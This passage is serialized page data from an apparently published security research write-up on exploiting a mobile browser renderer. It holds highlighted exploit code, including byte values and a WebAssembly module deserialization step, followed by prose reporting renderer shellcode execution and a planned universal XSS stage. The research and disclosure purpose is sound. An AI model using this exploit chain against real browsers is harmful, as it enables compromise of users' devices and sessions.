},{"type":22,"tag":264,"props":139516,"children":139517},{"style":4344},[139518],{"type":27,"value":46445},{"type":22,"tag":264,"props":139520,"children":139521},{"style":1539},[139522],{"type":27,"value":4380},{"type":22,"tag":264,"props":139524,"children":139525},{"style":4344},[139526],{"type":27,"value":5334},{"type":22,"tag":264,"props":139528,"children":139529},{"style":1539},[139530],{"type":27,"value":4380},{"type":22,"tag":264,"props":139532,"children":139533},{"style":4344},[139534],{"type":27,"value":5334},{"type":22,"tag":264,"props":139536,"children":139537},{"style":1539},[139538],{"type":27,"value":4380},{"type":22,"tag":264,"props":139540,"children":139541},{"style":4344},[139542],{"type":27,"value":5334},{"type":22,"tag":264,"props":139544,"children":139545},{"style":1539},[139546],{"type":27,"value":4380},{"type":22,"tag":264,"props":139548,"children":139549},{"style":4344},[139550],{"type":27,"value":18831},{"type":22,"tag":264,"props":139552,"children":139553},{"style":1539},[139554],{"type":27,"value":4380},{"type":22,"tag":264,"props":139556,"children":139557},{"style":4344},[139558],{"type":27,"value":5334},{"type":22,"tag":264,"props":139560,"children":139561},{"style":1539},[139562],{"type":27,"value":4380},{"type":22,"tag":264,"props":139564,"children":139565},{"style":4344},[139566],{"type":27,"value":5334},{"type":22,"tag":264,"props":139568,"children":139569},{"style":1539},[139570],{"type":27,"value":4380},{"type":22,"tag":264,"props":139572,"children":139573},{"style":4344},[139574],{"type":27,"value":5334},{"type":22,"tag":264,"props":139576,"children":139577},{"style":1539},[139578],{"type":27,"value":4380},{"type":22,"tag":264,"props":139580,"children":139581},{"style":4344},[139582],{"type":27,"value":5334},{"type":22,"tag":264,"props":139584,"children":139585},{"style":1539},[139586],{"type":27,"value":4380},{"type":22,"tag":264,"props":139588,"children":139589},{"style":4344},[139590],{"type":27,"value":5334},{"type":22,"tag":264,"props":139592,"children":139593},{"style":1539},[139594],{"type":27,"value":4380},{"type":22,"tag":264,"props":139596,"children":139597},{"style":4344},[139598],{"type":27,"value":5334},{"type":22,"tag":264,"props":139600,"children":139601},{"style":1539},[139602],{"type":27,"value":4380},{"type":22,"tag":264,"props":139604,"children":139605},{"style":4344},[139606],{"type":27,"value":5334},{"type":22,"tag":264,"props":139608,"children":139609},{"style":1539},[139610],{"type":27,"value":4380},{"type":22,"tag":264,"props":139612,"children":139613},{"style":4344},[139614],{"type":27,"value":5334},{"type":22,"tag":264,"props":139616,"children":139617},{"style":1539},[139618],{"type":27,"value":4380},{"type":22,"tag":264,"props":139620,"children":139621},{"style":4344},[139622],{"type":27,"value":5334},{"type":22,"tag":264,"props":139624,"children":139625},{"style":1539},[139626],{"type":27,"value":4380},{"type":22,"tag":264,"props":139628,"children":139629},{"style":4344},[139630],{"type":27,"value":5334},{"type":22,"tag":264,"props":139632,"children":139633},{"style":1539},[139634],{"type":27,"value":4380},{"type":22,"tag":264,"props":139636,"children":139637},{"style":4344},[139638],{"type":27,"value":5334},{"type":22,"tag":264,"props":139640,"children":139641},{"style":1539},[139642],{"type":27,"value":4380},{"type":22,"tag":264,"props":139644,"children":139645},{"style":4344},[139646],{"type":27,"value":30736},{"type":22,"tag":264,"props":139648,"children":139649},{"style":1539},[139650],{"type":27,"value":4380},{"type":22,"tag":264,"props":139652,"children":139653},{"style":4344},[139654],{"type":27,"value":5334},{"type":22,"tag":264,"props":139656,"children":139657},{"style":1539},[139658],{"type":27,"value":4380},{"type":22,"tag":264,"props":139660,"children":139661},{"style":4344},[139662],{"type":27,"value":5334},{"type":22,"tag":264,"props":139664,"children":139665},{"style":1539},[139666],{"type":27,"value":4380},{"type":22,"tag":264,"props":139668,"children":139669},{"style":4344},[139670],{"type":27,"value":5334},{"type":22,"tag":264,"props":139672,"children":139673},{"style":1539},[139674],{"type":27,"value":4380},{"type":22,"tag":264,"props":139676,"children":139677},{"style":4344},[139678],{"type":27,"value":5334},{"type":22,"tag":264,"props":139680,"children":139681},{"style":1539},[139682],{"type":27,"value":4380},{"type":22,"tag":264,"props":139684,"children":139685},{"style":4344},[139686],{"type":27,"value":5334},{"type":22,"tag":264,"props":139688,"children":139689},{"style":1539},[139690],{"type":27,"value":4380},{"type":22,"tag":264,"props":139692,"children":139693},{"style":4344},[139694],{"type":27,"value":5334},{"type":22,"tag":264,"props":139696,"children":139697},{"style":1539},[139698],{"type":27,"value":4380},{"type":22,"tag":264,"props":139700,"children":139701},{"style":4344},[139702],{"type":27,"value":5334},{"type":22,"tag":264,"props":139704,"children":139705},{"style":1539},[139706],{"type":27,"value":4380},{"type":22,"tag":264,"props":139708,"children":139709},{"style":4344},[139710],{"type":27,"value":5334},{"type":22,"tag":264,"props":139712,"children":139713},{"style":1539},[139714],{"type":27,"value":4380},{"type":22,"tag":264,"props":139716,"children":139717},{"style":4344},[139718],{"type":27,"value":5334},{"type":22,"tag":264,"props":139720,"children":139721},{"style":1539},[139722],{"type":27,"value":4380},{"type":22,"tag":264,"props":139724,"children":139725},{"style":4344},[139726],{"type":27,"value":5334},{"type":22,"tag":264,"props":139728,"children":139729},{"style":1539},[139730],{"type":27,"value":4380},{"type":22,"tag":264,"props":139732,"children":139733},{"style":4344},[139734],{"type":27,"value":5334},{"type":22,"tag":264,"props":139736,"children":139737},{"style":1539},[139738],{"type":27,"value":4380},{"type":22,"tag":264,"props":139740,"children":139741},{"style":4344},[139742],{"type":27,"value":5334},{"type":22,"tag":264,"props":139744,"children":139745},{"style":1539},[139746],{"type":27,"value":4812},{"type":22,"tag":264,"props":139748,"children":139749},{"class":1534,"line":1642},[139750,139754,139758,139762,139766,139770,139774,139778,139782,139786,139790,139794,139798,139802,139806,139810,139814,139818,139822,139826,139830,139834,139838,139842,139846,139850,139854,139858,139862,139866,139870,139874,139878,139883,139887,139892,139896,139900,139904,139909,139913,139917,139921,139925,139929,139933,139937,139942,139946,139950,139954,139959,139963,139967],{"type":22,"tag":264,"props":139751,"children":139752},{"style":4344},[139753],{"type":27,"value":135495},{"type":22,"tag":264,"props":139755,"children":139756},{"style":1539},[139757],{"type":27,"value":4380},{"type":22,"tag":264,"props":139759,"children":139760},{"style":4344},[139761],{"type":27,"value":5334},{"type":22,"tag":264,"props":139763,"children":139764},{"style":1539},[139765],{"type":27,"value":4380},{"type":22,"tag":264,"props":139767,"children":139768},{"style":4344},[139769],{"type":27,"value":5334},{"type":22,"tag":264,"props":139771,"children":139772},{"style":1539},[139773],{"type":27,"value":4380},{"type":22,"tag":264,"props":139775,"children":139776},{"style":4344},[139777],{"type":27,"value":5334},{"type":22,"tag":264,"props":139779,"children":139780},{"style":1539},[139781],{"type":27,"value":4380},{"type":22,"tag":264,"props":139783,"children":139784},{"style":4344},[139785],{"type":27,"value":5334},{"type":22,"tag":264,"props":139787,"children":139788},{"style":1539},[139789],{"type":27,"value":4380},{"type":22,"tag":264,"props":139791,"children":139792},{"style":4344},[139793],{"type":27,"value":5334},{"type":22,"tag":264,"props":139795,"children":139796},{"style":1539},[139797],{"type":27,"value":4380},{"type":22,"tag":264,"props":139799,"children":139800},{"style":4344},[139801],{"type":27,"value":5334},{"type":22,"tag":264,"props":139803,"children":139804},{"style":1539},[139805],{"type":27,"value":4380},{"type":22,"tag":264,"props":139807,"children":139808},{"style":4344},[139809],{"type":27,"value":5334},{"type":22,"tag":264,"props":139811,"children":139812},{"style":1539},[139813],{"type":27,"value":4380},{"type":22,"tag":264,"props":139815,"children":139816},{"style":4344},[139817],{"type":27,"value":5334},{"type":22,"tag":264,"props":139819,"children":139820},{"style":1539},[139821],{"type":27,"value":4380},{"type":22,"tag":264,"props":139823,"children":139824},{"style":4344},[139825],{"type":27,"value":5334},{"type":22,"tag":264,"props":139827,"children":139828},{"style":1539},[139829],{"type":27,"value":4380},{"type":22,"tag":264,"props":139831,"children":139832},{"style":4344},[139833],{"type":27,"value":5334},{"type":22,"tag":264,"props":139835,"children":139836},{"style":1539},[139837],{"type":27,"value":4380},{"type":22,"tag":264,"props":139839,"children":139840},{"style":4344},[139841],{"type":27,"value":5334},{"type":22,"tag":264,"props":139843,"children":139844},{"style":1539},[139845],{"type":27,"value":4380},{"type":22,"tag":264,"props":139847,"children":139848},{"style":4344},[139849],{"type":27,"value":5334},{"type":22,"tag":264,"props":139851,"children":139852},{"style":1539},[139853],{"type":27,"value":4380},{"type":22,"tag":264,"props":139855,"children":139856},{"style":4344},[139857],{"type":27,"value":5334},{"type":22,"tag":264,"props":139859,"children":139860},{"style":1539},[139861],{"type":27,"value":4380},{"type":22,"tag":264,"props":139863,"children":139864},{"style":4344},[139865],{"type":27,"value":5334},{"type":22,"tag":264,"props":139867,"children":139868},{"style":1539},[139869],{"type":27,"value":4380},{"type":22,"tag":264,"props":139871,"children":139872},{"style":4344},[139873],{"type":27,"value":3568},{"type":22,"tag":264,"props":139875,"children":139876},{"style":1539},[139877],{"type":27,"value":4380},{"type":22,"tag":264,"props":139879,"children":139880},{"style":4344},[139881],{"type":27,"value":139882},"95",{"type":22,"tag":264,"props":139884,"children":139885},{"style":1539},[139886],{"type":27,"value":4380},{"type":22,"tag":264,"props":139888,"children":139889},{"style":4344},[139890],{"type":27,"value":139891},"36",{"type":22,"tag":264,"props":139893,"children":139894},{"style":1539},[139895],{"type":27,"value":4380},{"type":22,"tag":264,"props":139897,"children":139898},{"style":4344},[139899],{"type":27,"value":18598},{"type":22,"tag":264,"props":139901,"children":139902},{"style":1539},[139903],{"type":27,"value":4380},{"type":22,"tag":264,"props":139905,"children":139906},{"style":4344},[139907],{"type":27,"value":139908},"213",{"type":22,"tag":264,"props":139910,"children":139911},{"style":1539},[139912],{"type":27,"value":4380},{"type":22,"tag":264,"props":139914,"children":139915},{"style":4344},[139916],{"type":27,"value":42162},{"type":22,"tag":264,"props":139918,"children":139919},{"style":1539},[139920],{"type":27,"value":4380},{"type":22,"tag":264,"props":139922,"children":139923},{"style":4344},[139924],{"type":27,"value":602},{"type":22,"tag":264,"props":139926,"children":139927},{"style":1539},[139928],{"type":27,"value":4380},{"type":22,"tag":264,"props":139930,"children":139931},{"style":4344},[139932],{"type":27,"value":31161},{"type":22,"tag":264,"props":139934,"children":139935},{"style":1539},[139936],{"type":27,"value":4380},{"type":22,"tag":264,"props":139938,"children":139939},{"style":4344},[139940],{"type":27,"value":139941},"210",{"type":22,"tag":264,"props":139943,"children":139944},{"style":1539},[139945],{"type":27,"value":4380},{"type":22,"tag":264,"props":139947,"children":139948},{"style":4344},[139949],{"type":27,"value":135888},{"type":22,"tag":264,"props":139951,"children":139952},{"style":1539},[139953],{"type":27,"value":4380},{"type":22,"tag":264,"props":139955,"children":139956},{"style":4344},[139957],{"type":27,"value":139958},"35",{"type":22,"tag":264,"props":139960,"children":139961},{"style":1539},[139962],{"type":27,"value":4380},{"type":22,"tag":264,"props":139964,"children":139965},{"style":4344},[139966],{"type":27,"value":18598},{"type":22,"tag":264,"props":139968,"children":139969},{"style":1539},[139970],{"type":27,"value":4812},{"type":22,"tag":264,"props":139972,"children":139973},{"class":1534,"line":1660},[139974,139979,139983,139988,139992,139997,140001,140006,140010,140015,140019,140024,140028,140033,140037,140041,140045,140049,140053,140057,140061,140065,140069,140073,140077,140082,140086,140091,140095,140099,140103,140107,140111,140115,140119,140123,140127,140131,140135,140140,140144,140149],{"type":22,"tag":264,"props":139975,"children":139976},{"style":4344},[139977],{"type":27,"value":139978},"    213",{"type":22,"tag":264,"props":139980,"children":139981},{"style":1539},[139982],{"type":27,"value":4380},{"type":22,"tag":264,"props":139984,"children":139985},{"style":4344},[139986],{"type":27,"value":139987},"231",{"type":22,"tag":264,"props":139989,"children":139990},{"style":1539},[139991],{"type":27,"value":4380},{"type":22,"tag":264,"props":139993,"children":139994},{"style":4344},[139995],{"type":27,"value":139996},"67",{"type":22,"tag":264,"props":139998,"children":139999},{"style":1539},[140000],{"type":27,"value":4380},{"type":22,"tag":264,"props":140002,"children":140003},{"style":4344},[140004],{"type":27,"value":140005},"190",{"type":22,"tag":264,"props":140007,"children":140008},{"style":1539},[140009],{"type":27,"value":4380},{"type":22,"tag":264,"props":140011,"children":140012},{"style":4344},[140013],{"type":27,"value":140014},"169",{"type":22,"tag":264,"props":140016,"children":140017},{"style":1539},[140018],{"type":27,"value":4380},{"type":22,"tag":264,"props":140020,"children":140021},{"style":4344},[140022],{"type":27,"value":140023},"253",{"type":22,"tag":264,"props":140025,"children":140026},{"style":1539},[140027],{"type":27,"value":4380},{"type":22,"tag":264,"props":140029,"children":140030},{"style":4344},[140031],{"type":27,"value":140032},"123",{"type":22,"tag":264,"props":140034,"children":140035},{"style":1539},[140036],{"type":27,"value":4380},{"type":22,"tag":264,"props":140038,"children":140039},{"style":4344},[140040],{"type":27,"value":602},{"type":22,"tag":264,"props":140042,"children":140043},{"style":1539},[140044],{"type":27,"value":4380},{"type":22,"tag":264,"props":140046,"children":140047},{"style":4344},[140048],{"type":27,"value":140014},{"type":22,"tag":264,"props":140050,"children":140051},{"style":1539},[140052],{"type":27,"value":4380},{"type":22,"tag":264,"props":140054,"children":140055},{"style":4344},[140056],{"type":27,"value":140023},{"type":22,"tag":264,"props":140058,"children":140059},{"style":1539},[140060],{"type":27,"value":4380},{"type":22,"tag":264,"props":140062,"children":140063},{"style":4344},[140064],{"type":27,"value":139996},{"type":22,"tag":264,"props":140066,"children":140067},{"style":1539},[140068],{"type":27,"value":4380},{"type":22,"tag":264,"props":140070,"children":140071},{"style":4344},[140072],{"type":27,"value":5334},{"type":22,"tag":264,"props":140074,"children":140075},{"style":1539},[140076],{"type":27,"value":4380},{"type":22,"tag":264,"props":140078,"children":140079},{"style":4344},[140080],{"type":27,"value":140081},"145",{"type":22,"tag":264,"props":140083,"children":140084},{"style":1539},[140085],{"type":27,"value":4380},{"type":22,"tag":264,"props":140087,"children":140088},{"style":4344},[140089],{"type":27,"value":140090},"191",{"type":22,"tag":264,"props":140092,"children":140093},{"style":1539},[140094],{"type":27,"value":4380},{"type":22,"tag":264,"props":140096,"children":140097},{"style":4344},[140098],{"type":27,"value":18598},{"type":22,"tag":264,"props":140100,"children":140101},{"style":1539},[140102],{"type":27,"value":4380},{"type":22,"tag":264,"props":140104,"children":140105},{"style":4344},[140106],{"type":27,"value":5334},{"type":22,"tag":264,"props":140108,"children":140109},{"style":1539},[140110],{"type":27,"value":4380},{"type":22,"tag":264,"props":140112,"children":140113},{"style":4344},[140114],{"type":27,"value":140081},{"type":22,"tag":264,"props":140116,"children":140117},{"style":1539},[140118],{"type":27,"value":4380},{"type":22,"tag":264,"props":140120,"children":140121},{"style":4344},[140122],{"type":27,"value":140023},{"type":22,"tag":264,"props":140124,"children":140125},{"style":1539},[140126],{"type":27,"value":4380},{"type":22,"tag":264,"props":140128,"children":140129},{"style":4344},[140130],{"type":27,"value":140032},{"type":22,"tag":264,"props":140132,"children":140133},{"style":1539},[140134],{"type":27,"value":4380},{"type":22,"tag":264,"props":140136,"children":140137},{"style":4344},[140138],{"type":27,"value":140139},"193",{"type":22,"tag":264,"props":140141,"children":140142},{"style":1539},[140143],{"type":27,"value":4380},{"type":22,"tag":264,"props":140145,"children":140146},{"style":4344},[140147],{"type":27,"value":140148},"168",{"type":22,"tag":264,"props":140150,"children":140151},{"style":1539},[140152],{"type":27,"value":4812},{"type":22,"tag":264,"props":140154,"children":140155},{"class":1534,"line":1668},[140156,140161,140165,140169,140173,140177,140181,140185,140189,140193,140197,140201,140205,140209,140213,140218,140222,140226,140230,140234,140238,140242,140246,140250,140254,140258,140262,140266,140270,140274,140278,140282,140286,140290,140294,140298,140302,140306,140310,140314,140318,140322,140326,140330,140334,140338,140342,140346,140350,140354,140358,140362,140366,140370],{"type":22,"tag":264,"props":140157,"children":140158},{"style":4344},[140159],{"type":27,"value":140160},"    255",{"type":22,"tag":264,"props":140162,"children":140163},{"style":1539},[140164],{"type":27,"value":4380},{"type":22,"tag":264,"props":140166,"children":140167},{"style":4344},[140168],{"type":27,"value":139958},{"type":22,"tag":264,"props":140170,"children":140171},{"style":1539},[140172],{"type":27,"value":4380},{"type":22,"tag":264,"props":140174,"children":140175},{"style":4344},[140176],{"type":27,"value":18598},{"type":22,"tag":264,"props":140178,"children":140179},{"style":1539},[140180],{"type":27,"value":4380},{"type":22,"tag":264,"props":140182,"children":140183},{"style":4344},[140184],{"type":27,"value":139908},{"type":22,"tag":264,"props":140186,"children":140187},{"style":1539},[140188],{"type":27,"value":4380},{"type":22,"tag":264,"props":140190,"children":140191},{"style":4344},[140192],{"type":27,"value":135843},{"type":22,"tag":264,"props":140194,"children":140195},{"style":1539},[140196],{"type":27,"value":4380},{"type":22,"tag":264,"props":140198,"children":140199},{"style":4344},[140200],{"type":27,"value":18598},{"type":22,"tag":264,"props":140202,"children":140203},{"style":1539},[140204],{"type":27,"value":4380},{"type":22,"tag":264,"props":140206,"children":140207},{"style":4344},[140208],{"type":27,"value":139882},{"type":22,"tag":264,"props":140210,"children":140211},{"style":1539},[140212],{"type":27,"value":4380},{"type":22,"tag":264,"props":140214,"children":140215},{"style":4344},[140216],{"type":27,"value":140217},"214",{"type":22,"tag":264,"props":140219,"children":140220},{"style":1539},[140221],{"type":27,"value":4380},{"type":22,"tag":264,"props":140223,"children":140224},{"style":4344},[140225],{"type":27,"value":97988},{"type":22,"tag":264,"props":140227,"children":140228},{"style":1539},[140229],{"type":27,"value":4380},{"type":22,"tag":264,"props":140231,"children":140232},{"style":4344},[140233],{"type":27,"value":61668},{"type":22,"tag":264,"props":140235,"children":140236},{"style":1539},[140237],{"type":27,"value":4380},{"type":22,"tag":264,"props":140239,"children":140240},{"style":4344},[140241],{"type":27,"value":18598},{"type":22,"tag":264,"props":140243,"children":140244},{"style":1539},[140245],{"type":27,"value":4380},{"type":22,"tag":264,"props":140247,"children":140248},{"style":4344},[140249],{"type":27,"value":139908},{"type":22,"tag":264,"props":140251,"children":140252},{"style":1539},[140253],{"type":27,"value":4380},{"type":22,"tag":264,"props":140255,"children":140256},{"style":4344},[140257],{"type":27,"value":18831},{"type":22,"tag":264,"props":140259,"children":140260},{"style":1539},[140261],{"type":27,"value":4380},{"type":22,"tag":264,"props":140263,"children":140264},{"style":4344},[140265],{"type":27,"value":5334},{"type":22,"tag":264,"props":140267,"children":140268},{"style":1539},[140269],{"type":27,"value":4380},{"type":22,"tag":264,"props":140271,"children":140272},{"style":4344},[140273],{"type":27,"value":5334},{"type":22,"tag":264,"props":140275,"children":140276},{"style":1539},[140277],{"type":27,"value":4380},{"type":22,"tag":264,"props":140279,"children":140280},{"style":4344},[140281],{"type":27,"value":5334},{"type":22,"tag":264,"props":140283,"children":140284},{"style":1539},[140285],{"type":27,"value":4380},{"type":22,"tag":264,"props":140287,"children":140288},{"style":4344},[140289],{"type":27,"value":5334},{"type":22,"tag":264,"props":140291,"children":140292},{"style":1539},[140293],{"type":27,"value":4380},{"type":22,"tag":264,"props":140295,"children":140296},{"style":4344},[140297],{"type":27,"value":5334},{"type":22,"tag":264,"props":140299,"children":140300},{"style":1539},[140301],{"type":27,"value":4380},{"type":22,"tag":264,"props":140303,"children":140304},{"style":4344},[140305],{"type":27,"value":5334},{"type":22,"tag":264,"props":140307,"children":140308},{"style":1539},[140309],{"type":27,"value":4380},{"type":22,"tag":264,"props":140311,"children":140312},{"style":4344},[140313],{"type":27,"value":5334},{"type":22,"tag":264,"props":140315,"children":140316},{"style":1539},[140317],{"type":27,"value":4380},{"type":22,"tag":264,"props":140319,"children":140320},{"style":4344},[140321],{"type":27,"value":5334},{"type":22,"tag":264,"props":140323,"children":140324},{"style":1539},[140325],{"type":27,"value":4380},{"type":22,"tag":264,"props":140327,"children":140328},{"style":4344},[140329],{"type":27,"value":18831},{"type":22,"tag":264,"props":140331,"children":140332},{"style":1539},[140333],{"type":27,"value":4380},{"type":22,"tag":264,"props":140335,"children":140336},{"style":4344},[140337],{"type":27,"value":5334},{"type":22,"tag":264,"props":140339,"children":140340},{"style":1539},[140341],{"type":27,"value":4380},{"type":22,"tag":264,"props":140343,"children":140344},{"style":4344},[140345],{"type":27,"value":5334},{"type":22,"tag":264,"props":140347,"children":140348},{"style":1539},[140349],{"type":27,"value":4380},{"type":22,"tag":264,"props":140351,"children":140352},{"style":4344},[140353],{"type":27,"value":5334},{"type":22,"tag":264,"props":140355,"children":140356},{"style":1539},[140357],{"type":27,"value":4380},{"type":22,"tag":264,"props":140359,"children":140360},{"style":4344},[140361],{"type":27,"value":5334},{"type":22,"tag":264,"props":140363,"children":140364},{"style":1539},[140365],{"type":27,"value":4380},{"type":22,"tag":264,"props":140367,"children":140368},{"style":4344},[140369],{"type":27,"value":5334},{"type":22,"tag":264,"props":140371,"children":140372},{"style":1539},[140373],{"type":27,"value":4812},{"type":22,"tag":264,"props":140375,"children":140376},{"class":1534,"line":1677},[140377,140381,140385,140389,140393,140397,140401,140405,140409,140413,140417,140422,140426,140431,140435,140440,140444,140448],{"type":22,"tag":264,"props":140378,"children":140379},{"style":4344},[140380],{"type":27,"value":135495},{"type":22,"tag":264,"props":140382,"children":140383},{"style":1539},[140384],{"type":27,"value":4380},{"type":22,"tag":264,"props":140386,"children":140387},{"style":4344},[140388],{"type":27,"value":5334},{"type":22,"tag":264,"props":140390,"children":140391},{"style":1539},[140392],{"type":27,"value":4380},{"type":22,"tag":264,"props":140394,"children":140395},{"style":4344},[140396],{"type":27,"value":5334},{"type":22,"tag":264,"props":140398,"children":140399},{"style":1539},[140400],{"type":27,"value":4380},{"type":22,"tag":264,"props":140402,"children":140403},{"style":4344},[140404],{"type":27,"value":5334},{"type":22,"tag":264,"props":140406,"children":140407},{"style":1539},[140408],{"type":27,"value":4380},{"type":22,"tag":264,"props":140410,"children":140411},{"style":4344},[140412],{"type":27,"value":5334},{"type":22,"tag":264,"props":140414,"children":140415},{"style":1539},[140416],{"type":27,"value":4380},{"type":22,"tag":264,"props":140418,"children":140419},{"style":4344},[140420],{"type":27,"value":140421},"92",{"type":22,"tag":264,"props":140423,"children":140424},{"style":1539},[140425],{"type":27,"value":4380},{"type":22,"tag":264,"props":140427,"children":140428},{"style":4344},[140429],{"type":27,"value":140430},"50",{"type":22,"tag":264,"props":140432,"children":140433},{"style":1539},[140434],{"type":27,"value":4380},{"type":22,"tag":264,"props":140436,"children":140437},{"style":4344},[140438],{"type":27,"value":140439},"162",{"type":22,"tag":264,"props":140441,"children":140442},{"style":1539},[140443],{"type":27,"value":4380},{"type":22,"tag":264,"props":140445,"children":140446},{"style":4344},[140447],{"type":27,"value":5334},{"type":22,"tag":264,"props":140449,"children":140450},{"style":1539},[140451],{"type":27,"value":4812},{"type":22,"tag":264,"props":140453,"children":140454},{"class":1534,"line":1686},[140455],{"type":22,"tag":264,"props":140456,"children":140457},{"style":1539},[140458],{"type":27,"value":135782},{"type":22,"tag":264,"props":140460,"children":140461},{"class":1534,"line":4948},[140462,140466,140470,140474,140478,140482,140486,140490,140494,140498,140502],{"type":22,"tag":264,"props":140463,"children":140464},{"style":4293},[140465],{"type":27,"value":9149},{"type":22,"tag":264,"props":140467,"children":140468},{"style":1549},[140469],{"type":27,"value":137235},{"type":22,"tag":264,"props":140471,"children":140472},{"style":4309},[140473],{"type":27,"value":4312},{"type":22,"tag":264,"props":140475,"children":140476},{"style":4401},[140477],{"type":27,"value":137244},{"type":22,"tag":264,"props":140479,"children":140480},{"style":1539},[140481],{"type":27,"value":2660},{"type":22,"tag":264,"props":140483,"children":140484},{"style":1549},[140485],{"type":27,"value":135113},{"type":22,"tag":264,"props":140487,"children":140488},{"style":1539},[140489],{"type":27,"value":4380},{"type":22,"tag":264,"props":140491,"children":140492},{"style":1549},[140493],{"type":27,"value":126442},{"type":22,"tag":264,"props":140495,"children":140496},{"style":1539},[140497],{"type":27,"value":210},{"type":22,"tag":264,"props":140499,"children":140500},{"style":1549},[140501],{"type":27,"value":126442},{"type":22,"tag":264,"props":140503,"children":140504},{"style":1539},[140505],{"type":27,"value":5142},{"type":22,"tag":264,"props":140507,"children":140508},{"class":1534,"line":4957},[140509,140513,140517,140521,140525,140529,140533,140537,140541,140545],{"type":22,"tag":264,"props":140510,"children":140511},{"style":1549},[140512],{"type":27,"value":137280},{"type":22,"tag":264,"props":140514,"children":140515},{"style":4309},[140516],{"type":27,"value":4312},{"type":22,"tag":264,"props":140518,"children":140519},{"style":1539},[140520],{"type":27,"value":4370},{"type":22,"tag":264,"props":140522,"children":140523},{"style":4328},[140524],{"type":27,"value":34232},{"type":22,"tag":264,"props":140526,"children":140527},{"style":1549},[140528],{"type":27,"value":137235},{"type":22,"tag":264,"props":140530,"children":140531},{"style":1539},[140532],{"type":27,"value":210},{"type":22,"tag":264,"props":140534,"children":140535},{"style":4401},[140536],{"type":27,"value":58886},{"type":22,"tag":264,"props":140538,"children":140539},{"style":1539},[140540],{"type":27,"value":137309},{"type":22,"tag":264,"props":140542,"children":140543},{"style":1549},[140544],{"type":27,"value":40466},{"type":22,"tag":264,"props":140546,"children":140547},{"style":1539},[140548],{"type":27,"value":4322},{"type":22,"tag":264,"props":140550,"children":140551},{"class":1534,"line":4980},[140552,140556,140560,140564,140568,140573,140577,140581],{"type":22,"tag":264,"props":140553,"children":140554},{"style":1549},[140555],{"type":27,"value":103265},{"type":22,"tag":264,"props":140557,"children":140558},{"style":1539},[140559],{"type":27,"value":210},{"type":22,"tag":264,"props":140561,"children":140562},{"style":4401},[140563],{"type":27,"value":103274},{"type":22,"tag":264,"props":140565,"children":140566},{"style":1539},[140567],{"type":27,"value":2660},{"type":22,"tag":264,"props":140569,"children":140570},{"style":1597},[140571],{"type":27,"value":140572},"'DeserializeWasmModule result: '",{"type":22,"tag":264,"props":140574,"children":140575},{"style":4309},[140576],{"type":27,"value":10200},{"type":22,"tag":264,"props":140578,"children":140579},{"style":1549},[140580],{"type":27,"value":10457},{"type":22,"tag":264,"props":140582,"children":140583},{"style":1539},[140584],{"type":27,"value":5142},{"type":22,"tag":264,"props":140586,"children":140587},{"class":1534,"line":4989},[140588,140592,140596,140600,140604,140608,140612,140616,140620,140624],{"type":22,"tag":264,"props":140589,"children":140590},{"style":4293},[140591],{"type":27,"value":37503},{"type":22,"tag":264,"props":140593,"children":140594},{"style":1549},[140595],{"type":27,"value":137329},{"type":22,"tag":264,"props":140597,"children":140598},{"style":4309},[140599],{"type":27,"value":4312},{"type":22,"tag":264,"props":140601,"children":140602},{"style":4293},[140603],{"type":27,"value":33248},{"type":22,"tag":264,"props":140605,"children":140606},{"style":1549},[140607],{"type":27,"value":135096},{"type":22,"tag":264,"props":140609,"children":140610},{"style":1539},[140611],{"type":27,"value":210},{"type":22,"tag":264,"props":140613,"children":140614},{"style":4401},[140615],{"type":27,"value":135150},{"type":22,"tag":264,"props":140617,"children":140618},{"style":1539},[140619],{"type":27,"value":2660},{"type":22,"tag":264,"props":140621,"children":140622},{"style":1549},[140623],{"type":27,"value":10379},{"type":22,"tag":264,"props":140625,"children":140626},{"style":1539},[140627],{"type":27,"value":5142},{"type":22,"tag":264,"props":140629,"children":140630},{"class":1534,"line":4998},[140631,140635,140639,140643,140647,140651,140655,140659,140663],{"type":22,"tag":264,"props":140632,"children":140633},{"style":4293},[140634],{"type":27,"value":37503},{"type":22,"tag":264,"props":140636,"children":140637},{"style":1549},[140638],{"type":27,"value":34287},{"type":22,"tag":264,"props":140640,"children":140641},{"style":4309},[140642],{"type":27,"value":4312},{"type":22,"tag":264,"props":140644,"children":140645},{"style":1549},[140646],{"type":27,"value":137329},{"type":22,"tag":264,"props":140648,"children":140649},{"style":1539},[140650],{"type":27,"value":210},{"type":22,"tag":264,"props":140652,"children":140653},{"style":1549},[140654],{"type":27,"value":39200},{"type":22,"tag":264,"props":140656,"children":140657},{"style":1539},[140658],{"type":27,"value":210},{"type":22,"tag":264,"props":140660,"children":140661},{"style":1549},[140662],{"type":27,"value":135199},{"type":22,"tag":264,"props":140664,"children":140665},{"style":1539},[140666],{"type":27,"value":4322},{"type":22,"tag":264,"props":140668,"children":140669},{"class":1534,"line":5067},[140670,140674,140678,140682,140686,140690],{"type":22,"tag":264,"props":140671,"children":140672},{"style":1549},[140673],{"type":27,"value":103265},{"type":22,"tag":264,"props":140675,"children":140676},{"style":1539},[140677],{"type":27,"value":210},{"type":22,"tag":264,"props":140679,"children":140680},{"style":4401},[140681],{"type":27,"value":103274},{"type":22,"tag":264,"props":140683,"children":140684},{"style":1539},[140685],{"type":27,"value":2660},{"type":22,"tag":264,"props":140687,"children":140688},{"style":1549},[140689],{"type":27,"value":34401},{"type":22,"tag":264,"props":140691,"children":140692},{"style":1539},[140693],{"type":27,"value":5142},{"type":22,"tag":264,"props":140695,"children":140696},{"class":1534,"line":5075},[140697],{"type":22,"tag":264,"props":140698,"children":140699},{"style":1539},[140700],{"type":27,"value":103306},{"type":22,"tag":23,"props":140702,"children":140703},{},[140704],{"type":27,"value":140705},"And this time, it works as expected:",{"type":22,"tag":23,"props":140707,"children":140708},{},[140709],{"type":22,"tag":215,"props":140710,"children":140713},{"alt":140711,"src":140712},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":22,"tag":181,"props":140715,"children":140717},{"id":140716},"achieving-universal-xss",[140718],{"type":27,"value":140719},"Achieving Universal XSS",{"type":22,"tag":23,"props":140721,"children":140722},{},[140723,140725,140731,140733,140740],{"type":27,"value":140724},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":22,"tag":69,"props":140726,"children":140729},{"href":140727,"rel":140728},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[73],[140730],{"type":27,"value":71655},{"type":27,"value":140732}," from Tencent Security and 